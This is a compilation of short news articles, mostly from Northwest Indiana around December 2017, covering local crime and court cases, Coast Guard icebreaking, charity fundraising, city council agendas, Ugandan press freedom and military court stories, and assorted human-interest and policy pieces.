Waltz said there's no certainty the lawmakers would consider the plan.

"Our position when it comes to workforce isn't much different than what many other organizations support," he said. "It's a big issue and there's no silver bullet (solution)."

Greg Ellis, vice president energy and environmental policy with the state chamber, said resources also should be directed to train those not going to college.

"There needs to be some incentives for these students," Ellis said.

Anthony Sindone, an assistant professor of finance and economic development at Purdue University Northwest, favored Ellis' suggestion and supports the idea of creating a mechanism where students develop a mindset of being lifelong learners.

"I'm less excited about dealing with today's (workforce) problems but am more interested in dealing with tomorrow's problems," Sindone said. "We can look at things like the skills gap, but by the time we narrow that mismatch, some new technology will come out that will widen that mismatch even more."

Sindone said it's important to start instilling in children the importance of continual learning.

"We need to focus on teaching kids going into adulthood how to learn new things, so that they're always eager to learn," he said.
The U.S. Coast Guard has begun icebreaking on the Great Lakes, to clear routes for lake freighters that are often bound for Northwest Indiana.

U.S. Coast Guard Sector Sault Sainte Marie began its annual Operation Taconite, a reference to the low-grade iron ore that's mined in Minnesota and Michigan and shipped south to fuel blast furnaces at the steel mills that ring the southern shore of Lake Michigan. U.S. Coast Guard Cutter Alder was dispatched to Lake Superior, while U.S. Coast Guard Cutter Biscayne Bay was assigned to the St. Marys River that links Lake Superior and Lake Huron, giving ore boats from Minnesota's Iron Range a direct path down to Lake Michigan.

"Operation Taconite is the Coast Guards largest domestic icebreaking operation," the Coast Guard said in a news release.

The Coast Guard said the operation encompasses Lake Superior, St. Marys River, the Straits of Mackinac, Georgian Bay, and Lake Michigan. In the coming weeks, various commercial waterways may close after consideration is given to the protection of the marine environment, the need for cross-channel traffic and the safety of the island residents, who in the course of their daily business, traditionally use naturally formed ice bridges for transportation to and from the mainland.

An average of 44.5 million tons of iron ore, a crucial ingredient to steelmaking, are shipped across the Great Lakes annually, according to the Lake Carriers Association. Ore accounts for nearly half of all domestically shipped cargo on the Great Lakes.

While the steel mills of Northwest Indiana typically stockpile iron ore before the lakes freeze over, shipments often continue through the winter season.

So far, the winter has been so mild that only about 5.2 percent of the Great Lakes are covered in ice, according to the latest National Oceanic and Atmospheric Administration data.
CROWN POINT  Lake County Councilman Jamal Washington was tantalizingly close to release from Lake County Jail on Tuesday.

Washington was within $5,000 cash of making bail and returning to public life as an elected member of the fiscal body overseeing every salary in county government, including those in Lake Criminal Court where he was brought Tuesday morning.

Judge Diane Boswell rescinded a detention order hanging over the 44-year-old Democrat's head since Merrillville police arrested him Dec. 8 on felony and misdemeanor charges of domestic violence.

However, Boswell denied a request by defense lawyers John Cantrell and Darnail Lyles to reduce Washington's bail, currently set at $5,000 cash. Washington still was in jail early Tuesday afternoon.

Boswell said it would be an "insidious" conflict for her to make a bail reduction decision in this case, because of Washington's fiscal authority over the court. The defense lawyers said they wouldn't consider her decision a conflict.

She said if she denied Washington a bail reduction and Washington were to vote against a future budget request by the court, "even for some valid reason  someone would perceive that as retaliation. I don't want to put Mr. Washington or the court in that position."

Boswell said she already has asked the state to appoint a special judge from outside Lake County to preside over the case.

The state earlier appointed special prosecutors Stanley M. Levco and John H. Meyers to relieve the county prosecutor's office of a similar conflict. Meyers appeared in court Tuesday.

Washington appeared before the judge Tuesday wearing a gray, striped jail uniform and handcuffs chained to his waist for a pre-trial hearing.

He is charged with criminal confinement, intimidation, misdemeanor battery and interference with reporting a crime over a Dec. 5 dispute with his 23-year-old cousin, Kamaria Buckley, in the councilman's home, where she also was living.

Buckley recanted her claims in an interview with The Times, but the state is proceeding with charges based on her original statement and a search of the councilman's home. Washington has told The Times he is innocent and won't resign his office.

The state also hired a special judge and prosecutor after Washington was charged with attacking his wife and a female employee Dec. 3, 2015, at his home in Merrillville.

He pleaded guilty to two misdemeanors and was sentenced to one year in jail, which was suspended for probation.

The state alleges the new allegations against Washington is a violation of the terms of his probation. That case is being handled in Porter County. A judge in Porter County on Monday revoked his detention on the probation violation.
EAST CHICAGO  A Gary man was arrested Sunday in Normal, Illinois, in connection with the May 11 shooting death of a 4-year-old child in the city's Indiana Harbor section, police said.

Lamario E. Delgado-Gonzalez, 23, was wanted in the death of Garrion Glover Jr., East Chicago police Lt. Marguerite Wilder said.

Relatives told police after Glover's death that the boy must have found a weapon in his apartment and accidentally shot himself. The Lake County coroner's office later ruled Glover's death a homicide.

Bloomington police said Delgado-Gonzalez was arrested Sunday in Normal and booked into the McLean County jail about 3 a.m., The (Bloomington) Pantagraph reported. The Normal Police Department, the U.S. Marshals Violent Fugitive Task Force and K-9 units from Bloomington and Normal assisted in the arrest.

Details of the Lake County case still were sealed as of Tuesday, according to the prosecutor's office.

East Chicago police said in June they had been suspicious about inconsistent statements given during the investigation into Glover's death. The boy suffered a gunshot wound to the neck.

Glover's mother told police she was awakened by a noise in the living room of their apartment in the 3500 block of Guthrie Street. She told police she went to investigate and saw her son unresponsive on the floor, not too far from a couch.

A man told police he was sleeping on the couch in the living room when he heard a noise and was awakened by his sister and saw his nephew on the floor next to the couch, police said.

Glover was taken to St. Catherine Hospital, where he was pronounced dead.

Delgado-Gonzalez is awaiting extradition to Lake County, the Pantagraph reported.

As of Tuesday, he was the only person charged in connection with Glover's death, Wilder said.

The boy's relatives told media this past May that the boy's father died in a homicide at the same apartment complex two years ago where many residents own guns for protection.

Relatives also told news media after the incident that Garrion liked to play with toy guns and probably thought the weapon was a toy.

Glover's shooting was the city's second of two gun-related deaths that occurred May 10, spilling into the overnight hours May 11. Hours before Glover was shot, a 15-year-old  Robert "Tank" Thompson  was shot and killed in the basement of an apartment building.

Times staff writer Lauren Cross contributed to this report.
CROWN POINT  A special public defender will be appointed to represent a 26-year-old man appealing his conviction last week in a Munster robbery.

Lake County public defender Marce Gonzalez said at a court hearing Monday he would hire an outside attorney to review an appeal for Roberto Pettigrew-Sanders.

A new court hearing was scheduled for March 1.

Pettigrew-Sanders was sentenced Thursday by Judge Samuel Cappas to 10 years in prison, followed by two years of probation and work-release, for his conviction for robbery.

Pettigrew-Sanders, 26, of Dolton, originally was charged with attempted murder, among other offenses, on allegations he shot a woman in the arm Feb. 3 during an attempted car-jacking at FedEx Distribution Center, 101 45th St.

Pettigrew-Sanders pleaded guilty to the robbery offense July 17 in a plea agreement with prosecutors, but filed a motion the next month requesting to withdraw the plea.

He said at Thursday's sentencing hearing he wouldn't have accepted the plea bargain if he could fire his public defender, Derrick Julkes, who he claimed didn't thoroughly investigate the allegations.

The judge said Pettigrew-Sanders was advised of his rights when he entered his plea, and upheld his conviction.

Gonzalez said at a court hearing Monday a defendant who enters a plea agreement typically cannot appeal his conviction. But since Pettigrew-Sanders motioned to withdraw from the plea agreement, and that motion was denied, he can appeal the case based on that issue.

Gonzalez told Cappas that since Pettigrew-Sanders' appeal may include a claim of ineffective counsel, he would hire a special public defender to handle the appeal.

He said an attorney from outside the public defender's office could provide fresh eyes. He also did not want one of his public defenders judging another public defender's work for fear of a conflict of interest.
A Hammond man wanted in connection with a machete attack was arrested Monday night in downstate Illinois, police said.

Ryan C. Turner, 25, is accused of attacking two people with a machete Dec. 9 outside Flat Rock Tap, 6732 Calumet Ave., and hiding the weapon in the basement rafters of his apartment.

The U.S. Marshals Service took Turner into custody Monday after finding him hiding in a backseat during a traffic stop in Mount Vernon, Illinois, Hammond police Lt. Steve Kellogg said.

Turner is being held in Jefferson County, Illinois, awaiting extradition to Lake County on five felony battery charges, Hammond and Lake County police said.

According to a probable cause affidavit, Turner approached a man and woman while they smoked cigarettes outside the bar, striking the man and then the woman multiple times and fleeing in fresh snow.

The man suffered lacerations. The woman was transported to Community Hospital in Munster with a fractured skull.

Police followed footprints in the snow to Turner's apartment in the 6600 block of Jackson Avenue and eventually identified him as a suspect. An arrest warrant was issued after prosecutors filed charges Dec. 11 in Lake Criminal Court.
PORTAGE  A Portage woman was arrested early Friday evening for allegedly trying to steal nearly $400 in liquor from a local store.

Police say she is also suspected in similar thefts from other retailers in Portage, Hammond and Lansing.

Melissa R. Dobkins, 24, was charged with felony counts of theft, possession of a hypodermic needle and possession of cocaine and misdemeanor count of possession of paraphernalia.

James A. Stewart, 41, Michigan City, was also arrested and charged with theft and assisting a criminal.

According to police, they were called to Walmart just before 6:30 p.m. Friday for a theft. A loss prevention officer told police that a woman had placed 10 bottles of liquor, valued at $385, in her purse and attempted to leave the store. When stopped, she began to fight with store security, was released and fled.

Police learned the woman, later identified as Dobkins, was suspected in other thefts from the Portage Walmart and Meijers, Walmart in Hammond and other stores in Lansing.

About 20 minutes later, the car in which she reportedly fled was spotted across U.S. 6 at Meijers. She was identified by Walmart loss prevention employees as the woman who fled and was taken into custody, said police.

Stewart was driving the car and allegedly told police they had been driving to multiple businesses in several different cities where Dobkins would enter the business, steal items and return to the vehicle to go to the next business.

While inventorying the vehicle, police allegedly found heroin and paraphernalia in Dobkins' purse. In addition, a bottle of liquor which was found in the car was traced to a theft earlier in the day from Walmart in Hammond.
CROWN POINT  Lake County Prosecutor Bernard A. Carter announced Monday he will not charge the county recorder with sexual or official misconduct.

Carter said Monday an Indiana State Police investigation he requested last spring didn't find any evidence Lake County Recorder Mike B. Brown compelled a former part-time employee, Estela Montalvo, to have sex with him to get a promotion.

Carter said the evidence state police collected indicates Brown and Montalvo had a consensual affair that Montalvo initiated in an unsuccessful attempt to win a full-time job as a deputy recorder with insurance and pension benefits.

"Having an affair is not a crime," Carter said.

Montalvo triggered the investigation in the spring when she sued Brown and the county government in U.S. District Court in Hammond on allegations Brown sexually harassed her and created a hostile workplace. No trial date has been set in the federal civil suit.

Calls for comment to Montalvo, her attorney and Brown weren't returned.

Carter said he wouldn't comment on the civil suit, but believes he would have been unable to prove, beyond a reasonable doubt, Brown had solicited or accepted sex or anything else of value from his employees in return for employment.

Carter said he isn't charging Montalvo with any wrongdoing either.

State Police Detective John Holmen interviewed 25 former and present employees and searched, without success, for any video, audio or text messages that would confirm a sexual relationship conditioned on sexual favors.

Carter made public Monday a copy of Holmen's report to the prosecutor's office in which he states Montalvo said she and Brown first met when they both ran for election as county recorder in 2012. Brown won the election.

She applied to work in the office. Brown didn't immediately hire her, but she did start work there in August 2014.

Montalvo said Brown began flirting with her and complementing her appearance, with comments like, "Wearing that, you can do whatever you want here."

Brown told Holmen that Montalvo tried to flirt with him, but he rejected her advances.

Montalvo told the detective she texted Brown in February 2015 after the office had closed for the day that "she had something to show him." She said Brown returned to the office and they began kissing.

She said Brown invited her to his Hobart apartment. She refused at first, but after a couple of days she went to his apartment where they first had sex.

She said they had sex several times between February and December 2015 in either his office or his apartment. Carter said it was unclear whether the office sex took place during or after business hours.

Brown denied he had any sexual contact with Montalvo.

The detective said Montalvo said she initiated a relationship with Brown to get a full-time job with insurance and pension benefits after hearing Brown had previously had sex with several other female employees.

"I just figured, maybe, you know, if I give him something, maybe he will give me something in return," Montalvo stated according to Holmen's report.

Brown said he had a relationship several years ago with one woman, who is now an employee, but it ended amicably. He denied he requested sex with Montalvo.

The report states Montalvo sent Brown a nude photo of herself. Brown said he recalls her sending him a "provocative" but not a nude photo.

Montalvo said Brown only promised to promote her until after she worked for Brown's 2016 re-election, but never did. She said she resigned from the recorder's office in February, ahead of a layoff of a dozen part-time employees.

She told Holmen she left because she didn't want to be pressured either by Brown or her co-workers who had heard rumors about the relationship.

Brown said he tried to help her get a job with the City of Hammond, but that job didn't materialize. He told Holmen he often helped find work for former employees.
Donations to The Salvation Army Red Kettle campaigns in Northwest Indiana continue to follow a familiar pattern, falling short of goals while the need for services increases.

To date less than 50 percent of the $780,000 goal set by the 2017 Christmas Campaign in Lake County has been donated through the traditional red kettle bell ringing and individual contributions, said Joan Leech, director of development for The Salvation Army of Lake County.

However, a gold coin donated by an anonymous individual on Saturday in the Red Kettle at the Strack & VanTil store on Cline Avenue in Highland brings a sense of hope to the campaign, Leech said. Depending on the price of gold, such a coin can range in value from $1,200 to more than $1,400, she said.

We want the individual who donated this coin to know how grateful we are for their support, said Maj. Jose Tamayo of the Hammond/Munster Salvation Army Corps. We have a long way to go to reach our campaign goal  this gold coin encourages us and will get us that much closer to a successful campaign.

The $780,000 goal accounts for approximately one-third of the cost of programs and services The Salvation Army provides in Lake County annually, Leech said. Those services include food, utility, and housing emergency assistance; hunger programs; youth programming and summer camp; disaster assistance; and case management/social services.

Lake County communities served by the Hammond/Munster Salvation Army also include Dyer, Griffith, Highland, Schererville and St. John.

Multiple disasters in 2017 including hurricanes, flooding and fires may have some impact on the ability of individuals and families to donate now, Leech said.

We know people have been very generous with disasters throughout the nation this year. In fact, The Salvation Army is still there at some sites, she said.

The Christmas campaign represents a major fundraising effort for The Salvation Army of Lake County, Tamayo said.

This is very important. If we dont raise our goal the effect is that possibly we would not be able to help people as we have in the past, he said. Its important not only during the holiday, but throughout the upcoming new year.

Porter Countys Red Kettle drive and mail appeal still falls $30,000 behind of this years $130,000 goal, said Maj. Jon Welch, of the Valparaiso-based Salvation Army.

That represents 65 percent of our budget, Welch said.

The shortfall effects operations as well as assistance programs such as rent, food and utilities, he said.

Our county has over 520 children with Christmas and helped 250 families with food, new clothes and new toys, Welch said.

The major thanked all those who have given of their time, talent and funds.

If people want to volunteer, please contact us, Welch said. It would be really great if we could reach our goal.

Jessica OBrien at The Salvation Army in Michigan City said because Monday was a distribution day, no one was available to talk about that LaPorte County locations Red Kettle campaign.

The Salvation Army also has a location in the City of LaPorte. However, no one there was able to talk to The Times on Monday.

Bell ringing continues in full swing now through Saturday evening in Northwest Indiana.
Gov. Eric Holcomb is right when he says Indiana must get away from a hodgepodge of local polices pertaining to requiring carbon monoxide detectors in new residential construction.

It's why we recently argued the General Assembly should adopt a uniform law on the matter, rather than leaving each community to petition the Indiana Fire Prevention and Building Safety Commission to require the potentially lifesaving devices in new home construction.

What Holcomb recently proposed in an exclusive Times interview could be the next best thing  but may not go far enough.

Holcomb is promising that the commission, which operates under his appointment, is working toward a uniform template of requirements and verbiage communities would have to meet to receive approval for such an ordinance.

That promise follows a recent unsuccessful attempt by Michigan City government to win approval for such an ordinance through the commission.

That failure came even though Michigan City used a LaPorte ordinance, which succeeded in passing the commission's muster, as its guide.

There's no question the governor should be stepping in to ensure a fair and consistent process is adopted.

We commend him for doing so.

There's also no question regarding the public safety merits of requiring carbon monoxide detectors in residential construction.

The U.S. Centers for Disease Control and Prevention reports 2,244 Americans died from accidental carbon monoxide poisoning between 2010 and 2015.

That's an average of 374 U.S. citizens killed every year.

Carbon monoxide is well known as the odorless gas that can build up in homes, often the result of old or malfunctioning appliances, that can silently kill occupants within a dwelling.

Within the governor's scope of authority, calling for a consistent template is the best he can do.

But the Legislature can, and probably should, take it one step further.

If the Indiana House and Senate adopted one law for all communities to follow, there would be no more question of petitioning for the rule town by town or city by city.

The word hodgepodge and public safety should never exist within the same sentence.
The many disturbing attacks on women by once-venerable figures in Hollywood, Washington and beyond underscore the need for a seismic shift in thinking.

While the #MeToo movement has brought to light the sexual predators who abuse their power to silence, intimidate and disrespect women, we would be remiss if we did not hold domestic violence cases to the same standard, especially when they originate in our own backyard.

Regardless of political party, we must all denounce not only violence itself, but also the all-too frequent victim-shaming that accompanies it. The second arrest of one of our county councilmen for domestic violence casts a shadow over Lake County.

A person convicted for battery and facing five felony charges has absolutely no place in government. Shame on Lake County. We deserve better!

Chris Chyung, Dyer
The agenda for Auburn City Council's meeting tonight includes an agreement for acquisition of the Baptist Student Center, located at 135 N. College St., for $2.33 million to be used as a lot for the future downtown parking deck. The meeting will be held at the Council Chamber at 141 N. Ross St. beginning at 7 p.m.

Additional items on the agenda include a nomination by Mayor Ham for the vacant seat on the Historic Preservation Commission board, and commendations for the Auburn High School Girls Cross Country Team and the Auburn High School Girls Swimming and Diving Team.

Various ordinances to go before the council include annexation of 38.4 acres between 700 and 1800 Sandhill Road and a zoning ordinance to rezone 11.1 acres from Development District Housing to Redevelopment District at the property located at the eastern end of Jack Hampton Drive and beyond the northern end of Pitts Street.

Contracts and agreements include purchase of one 2018 Kenworth T370 14 flat dump truck by Environmental Services Department from Truckworx Kenworth of Montgomery for $89,160, and renewal of customer support fee associated with the Computer Automated Dispatch System for the Public Safety Departments Police Division from Southern Software, Inc., for $15,765.

Resolutions to go before the board include three conditional use approvals: Jim Parker Properties, LLC, event facility at 2108 South College St.; Owens Family Partnership, LLC, agricultural use at the northeast corner of the intersection of Shug Jordan Parkway and North Donahue Drive.; and Silver Eagle LTC, Inc., road service at 590 Webster Rd.
Multiple matters will be addressed by the Opelika City Council during its meeting tonight.

Among agenda items, the council will focus on whether to support legislation calling for the licensing and registration of all childcare and daycare facilities by the Department of Human Resources.

The resolution associated with this matter states how currently nearly half of center-based child care and nearly one-third of all child care in Alabama is operating unregulated and uninspected.

If approved, the resolution will represent a request by the city council that Gov. Kay Ivey and the Alabama Legislature address legislation pertaining to this matter during the upcoming legislative session.

If approved, a copy of the resolution will be given the Gov. Kay Ivey, as well as representatives of the Lee County Legislative Delegation and the Alabama League of Municipalities.
After spending 29 days incarcerated, the directors and editors of Pepper Publications Ltd have finally been granted bail by Buganda road court Chief Magistrate, James Mawanda Ereemye while in absentia.

The suspects who were granted Shs 20 million cash bail are Richard Tusiime, Johnson Musinguzi, Patrick Mugumya, and Arinatwe Rugyendo. Others are Richard Kintu, Ben Byarabaha, Francis Tumusiime and James Mujuni.

According to court documents, the suspects on November 20, 2017 at the Red Pepper offices in Namanve, Mukono district, unlawfully caused publication and distribution of a newspaper headline regarding the military operations, strategies and troop location - well knowing that such publication can disrupt public order and security of the country.

Specifically, the eight are accused of publishing and distribution of newspaper story lines that injured the reputations of President Museveni, his brother Gen Salim Saleh and security minister Lt Gen Henry Tumukunde, which publication allegedly subjected the three people to hatred, contempt and ridicule.

Fully-packed courtroom

The accused are further said to have wilfully and repeatedly used their computers for no legitimate purposes, to disturb the peace and privacy of Museveni, Gen Saleh and Lt Gen Tumukunde by portraying them as people who plotted to overthrow Rwanda President Paul Kagame.

Though the ruling granting bail was written by Ereemye, it was uncharacteristically read out by his junior, Charles Yeteise, senior principal magistrate Grade one.

Before Yeteise could calm down the fully packed and emotive courtroom by delivering the ruling, news had trickled in that Ereemye wasnt in the premises and perhaps there was possibility that the editors and directors could go back to Luzira maximum prison without knowing their fate in regards to their bail application.

Tensions were heightened further when court goers stumbled on a circular whose author was Ereemye. The circular dated December 18 and titled 'absence from station', Ereemye said I will be away on Tuesday 19-20 December 2017, attending a validation of resource hand book on Economic, social and rights training of judicial officers on enforcement of economic, social and cultural rights at Protea hotel, Entebbe."

In his absence, however, Ereemye clarified in the circular that His worship Charles Yeteise, senior principal magistrate Grade one will handle my schedule.

This is unbelievable. This must be the work of government, journalists who had crammed in the court murmured after landing on the circular.

How can a chief magistrate disappear when he said he would deliver the ruling today, one of them said.

Yeteise also didnt help matters, because instead of starting with reading out the bail ruling, he first handled and adjourned other cases which perhaps were supposed to be handled by his boss Ereemye. He later retreated to his chambers without informing court goers the fate the editors.

This left the courtroom in confusion but at midday Yeteise returned to court and said that he was going to read out the ruling on behalf of the Ereemye.

In a very brief ruling, Yeteise said that Ereemye had come to a determination that the sureties that the accused had provided were substantial and accordingly would ensure that they report to court early next year when the case comes up for mention and thus he had no reason to deny them their freedoms.

This line sent the court into pandemonium as Red pepper staffers, their relatives and friends wildly celebrated, only to remember that Yeteise was still reading the ruling.

Ereemye, according to Yeteise, buttressed the granting of bail in article 28 of Constitution in which everybody is assumed innocent until proven innocent.

The accused have satisfied the conditions that warrant giving of bail. They have been granted bail", Yeteise said before adding that the all the eight will have to leave their passports with court as another condition of granting bail.

Though and the directors and editors have been granted their freedom, Red Pepper premises are still occupied by security agencies led by police.

dkiyonga@observer.ug
Six soldiers have been sentenced to two months in jail by the army's disciplinary unit for misuse of social media.



The officers were today arraigned before the Unit Disciplinary Committee (UDC) which sat at the Chieftaincy of Military Intelligence (CMI) headquarters in Mbuya. The committee chaired by Col Tom Kabuye sentenced the officers to serve two months in detention at Makindye military prison.



The officers are Capt Emmanuel Kyamwiru of Special Forces Command (SFC), Capt Shemu Nakora of Armored Warfare Training School-Kalama, Lt Wilson Kahamba, Lt Ronald Watwaluma, 2Lt Ronald Kabagambe and 2Lt Michael Asiimwe all of Oliver Tambo Leadership School Kaweweta. They were charged with an offence of conduct prejudicial to good order and discipline of the Defence Forces contrary to section 178 of the UPDF Act 7 of 2005.

Some of the six sentenced soldiers in the dock

UDC is a lower court of a military court martial and has the mandate to try all cases other than capital offences such as rape, murder and treason.



UDC prosecutor, Lt John Emmanuel Alihihi, told court that on or around November 19th to 23rd 2017, the officers, using social media, downloaded and shared a classified military document referred to as "General Administrative Order (GAO)" copy number 36 and published it amongst different social media groups.



According to prosecution, the document which contained instructions and names of promoted officers was published by officers without proper authority and that such authority is only a preserve of the Defence spokesperson on superior orders.



Col Kabuye, the chairman CMI disciplinary court, informed the accused that the highest punishment in an event an officer or militant, releases unauthorised information is imprisonment not less than two years and later dismissal from the defence forces with disgrace.



All the six officers pleaded guilty to the offence and asked for forgiveness saying they did it out of ignorance and excitement over their promoted colleagues.



Court ruled that the six be imprisoned for two months as a deterrence measure and a way of taming excitement from any other officer or militant intending to share classified information. Col Kabuye explained that the reason for giving them a lean sentence was a result of their cooperation during the trial.

"The accused did not waste the court's time since all of them were convicted on their own plea of guilty, they were first time offenders and that the army has invested a lot of resources in their training and development therefore dismissing them at junior ranks at the peak of their productivity would be counterproductive," he stated.

If not satisfied with the court's decision, the sentenced officers were advised to appeal in the General Court Martial within 14 days.
Wilfa Soto Peguero, a struggling mother-of-four from the Dominican Republic, thought her life was finally going to become easier after hitting it off with a Welsh man she had met online. After six months of online conversations, 46-year-old Glyn Thomas Bailey told Wilfa he wanted to visit and help her raise her kids. She made the big mistake of accepting his offer, and she has spent the last month and a half trying to get rid of him.

Wilfa and Glyn met on online dating site Badoo, and despite having to use Google Translate to understand each others messages, they got along well, so when the Welsh man told her that he wanted to come meet her in person and help her raise her four children, Wilfa was thrilled. She told him to send her some money, so she could come meet her at the airport, but he never did. Glyn just told her when he would arrive, and she couldnt just leave him hanging, so she borrowed some money and traveled to meet him.

The Dominican woman became even more suspicious of her online boyfriend after looking at his plane ticket and seeing that it was one-way. She would later realize that he also didnt have any money whatsoever and that she would actually have to support him, not the other way around. Soto Peguero took the broke sugar daddy to her rented home where she tried to explain to him that raising four kids was hard enough and she couldnt afford to look after him as well, but he just stared at her like he didnt understand a word.

Photo: Facebook

I have explained it to him a thousand ways. If I had my own house Id let him stay but I dont, Wilfa told local reporters, after her failed attempt at internet romance went viral.

After over a month of having to provide food and shelter for Glyn, fed-up Wilfa Soto Peguero took to social media to complain about the unwanted guest and to ask for assistance in having him flown back to his own country. She said she didnt have a job, claiming that she was disabled, and that her online Prince Charming and turned out to be a huge burden. Apparently he spent most of his days around the house, playing with the kids and strolling around the neighborhood.

Im making this video for many young people, for many women, so that they learn from what happened to me and dont try to find love online, Wilfa said in the video. That was a mistake I made and wont make again. Ive got my heart and Im not going to refuse him food when hes not giving me any money but I cant look after him.



The video spread like wildfire on social media, and local news stations soon started getting in touch about interviews. Wilfa recalls that, one hand she felt humiliated of being laughed at by everybody, but she also saw it as an opportunity to appeal to authorities for help with getting Glyn Thomas Bailey off her hands. He had been living with her and the kids for over a month, and she was already heavily indebted.

All the attention made the Brit a local celebrity, and he seemed to enjoy every minute of it. People stopped him on the street to have their pictures taken with him, and he even showed up in an amateur rap video about him. Hes sin standing in the background smiling, as two young men rap about him and Wilfa.

Recently, Wilfa Soto Peguero accused Glyn of domestic violence and he was taken into custody by police and ordered to undergo a medical evaluation at a hospital in Santo Domingo. A judge also ruled that he should be put on a plane back to Britain after the medical tests. It is unclear whether the complaint of domestic violence was Wilfas desperate attempt to get Glyn out of her home, or if it was justified by an act of violence. He certainly doesnt look like the violent type, but you never know.



The British embassy in Santo Domingo has agreed to assist Glyn Thomas Bailey and hopefully put him on a plane home, but his Dominican crush says she wont breath a sigh of relief until he finally leaves her country.

Interestingly, after Wilfa and Glyns failed love story reached western audiences, journalists in his home country did some digging and found that out of his 70 Facebook friends (all female), 25 were from the Dominican Republic. Thats pretty strange considering he has no connection to the Caribbean nation, and had actually never traveled abroad before. After uncovering this, journalists contacted the mans parents and learned that Wilfa was just one of at least four Dominican women that Glyn had been wooing.

There are at least three other women in the Dominican Republic who he has made all sorts of promises to, Glyns mother, Wendy, told The Sun. Apparently, Wilfa was just the first to accept his visit.



Glyns parents said that he was without a job, penniless and living in council complex. He didnt even have money for the plane ticket to the Dominican Republic, so he borrowed it from them, saying that he was going to marry a woman from the United States. Although they know of his trouble from the press, the mans parent are none to eager to help.

We knew something like this would happen but he wont be getting any help from us, 66-year-old Wendy said. The council have taken his flat from him so he has nowhere to go. So long as he doesnt come here, I dont care. If he turns up at our door I will call the police, Ive done it before to him. I know Im his mother but I wish hed never been born.

Damn, thats harsh
Imaginea unui esec la granita cu Ucraina. Cum sunt deviate toate TIR-urile din Ucraina prin sate, pe un drum ingust si fara trotuare: Au crapat peretii casei
Two male Irish friends, neither of which is gay, have decided to get married in order to avoid paying a hefty inheritance tax. It sounds like the plot of a Hollywood comedy, only in real life.

Michael OSullivan, from Stoneybatter, north Dublin, has been friends with Matt (surname not disclosed for privacy reasons) for almost 30 years. Both are in their 80s, and OSullivan is now Matts caretaker and stands to inherit his home and other possessions. Unfortunately, because of Irelands Capital Acquisitions Tax (Cat), which applies to gifts and inheritances over specified amounts, Matt would have to pay 33% to the government. However, the tax does not apply to gifts or inheritance given to a spouse or civil partner, so the two men decided that the best way would be to get married.

Photo: Jeff Belmonte/Flickr

In an interview with RTEs Liveline Matt stated that OSullivan was his best friend and they were marrying because he will be part of my life when I die and whatever I have, i.e., my home, there will be no problems, he can have it. If he is to pay to look after me in my old age. I thought it was a very good thing that came into my head to say, nowadays, this is official.

OSullivan, a divorcee and father-of three adult children, told RTE that he and Matt go back almost three decades. The thing is I know Matt for 29 years, the same age as my own daughter. He lives in the same area as I grew up, in Stoneybatter. And hes one of the nicest people anyone will ever meet in their life.

Matt said to me look, Im going to leave you the house. I said its a nice idea, but because of tax reasons, Id have to pay half to the Government. But once we are married, Im his spouse then, and if one partner dies, the house automatically goes to the other partner. I love Matt, but not in a sexual way. Im his carer now and as Matt said to me one day, it isnt a bad idea.

OSullivan added that his children have no problem with his upcoming marriage, as they have also known Matt for decades.

The pair initially planned to marry on December 22, but have delayed the ceremony to January due to weather concerns. Same-sex marriage was legalized by popular vote in Ireland on 16 November 2015, via a referendum that took place on 22 May 2015. Civil partnerships had been granted in 2010 but did not offer rights and responsibilities equal to marriage.

I wonder how the Irish financial authorities feel about this. It was one thing if they just got married and didnt really say why they were doing it, but this way As OSullivan himself admits, its like American immigrants getting married to legal residents for a Green Card. This sort of convenience arrangements are not exactly legal.
R Bindu also said the quality of education in Kerala had not dipped contrary to the opposition's claims.
WASHINGTON  Doctors, hospitals, patient advocates and others who work in the nations health care system are growing increasingly alarmed at the Republican tax bill, warning that it threatens care for millions of sick Americans.

The legislation  which GOP leaders are rushing to pass this week  will eliminate beginning in 2019 the Affordable Care Act penalty on consumers without health coverage, a move many experts warn will weaken insurance markets in parts of the country.

Republican leaders have dismissed the objections, arguing that eliminating the penalty will remove an unfair government requirement.

Obamacares coercive individual mandate represents perhaps the worst example of the federal government violating individual freedom and liberty, said Rep. Mark Walker, R-N.C., chairman of the Republican Study Committee.

The tax bill, which includes huge tax cuts for corporations, may also force tens of millions of dollars in cuts to the Medicare program under federal budget rules, though congressional leaders say they are confident they can waive the rules as they have in the past.

Most worrisome to many, the bill will open a $1.5 trillion hole in the federal deficit over the next decade. That will put substantial new pressure on government health care programs such as Medicare and Medicaid and has already ignited a renewed Republican campaign to cut them back.

This is a horrid bill, said John Baackes, chief executive of L.A. Care, a public insurance plan that covers more than 2 million mostly low-income residents of Los Angeles County.

They havent been able to repeal and replace (the health care law), so theyll attack it through the budget by looking for ways (to) knock down the money thats needed to cover people.

The GOP tax package  which would reduce the corporate tax rate from 35 percent to 21 percent  may mean more money for drugmakers and for-profit insurance companies and hospital systems.

But across the country, dozens of health care groups, including every major physician association and patient advocacy organization, have urged GOP lawmakers to slow down and at least preserve the insurance requirement.

This bill leaves too many patients behind and saddles millions more with higher premiums, said Harold P. Wimmer, chief executive of the American Lung Association, which was among 16 patient organizations that sent a letter to congressional leaders this month warning that the tax bill could erode sick patients access to medical care.

GOP lawmakers have rejected analyses by the nonpartisan Congressional Budget Office, independent economists and others that the massive tax cuts in the legislation will drive up the federal deficit. Trump and his congressional allies say the cuts will fuel economic growth.

Senior Republicans also have made no secret of their interest in renewing a push to cut government health care programs next year to control the ballooning government debt.

Were going to have to get back next year at entitlement reform, which is how you tackle the debt and the deficit, House Speaker Paul Ryan, R-Wis., said during a recent radio appearance.

Frankly, its the health care entitlements that are the big drivers of our debt, so we spend more time on the health care entitlements, because thats really where the problem lies, fiscally speaking, Ryan said.

Ryan has long advocated major changes to the federal Medicare program.

A new push to slash federal support for Medicare, Medicaid and other health programs risks a similar erosion in health protections, warned Dr. Ashok Rai, president of Prevea Health, a medical system in northern Wisconsin.

We should be looking for ways to control health care spending, said Rai, incoming chairman of the American Medical Group Association, a leading advocate for making health care more efficient. But when you are talking about blanket cost reductions, that affects a lot of needy people. ... The consequences for the health of America would be serious.
The death of CSX Corp. Chief Executive Officer Hunter Harrison just two days after the railroad announced his medical leave resurrects questions about just how much companies should disclose about the health of their leaders.

Harrison, 73, died Saturday of unexpectedly severe complications from a recent illness, CSX said without elaborating. Harrison had been trying to turn around CSX since being hired in March, as he had previously done at three other railroads.

Harrison had health problems and a reputation that buoyed shares in his company.

In May, the Wall Street Journal reported Harrisons use of supplemental oxygen. In response, he said, Dont judge me by my medical record; judge me by my performance.

CSX investors cheered Harrisons performance, sending shares up about 60 percent in this year through Thursday, hours before his medical leave was disclosed.

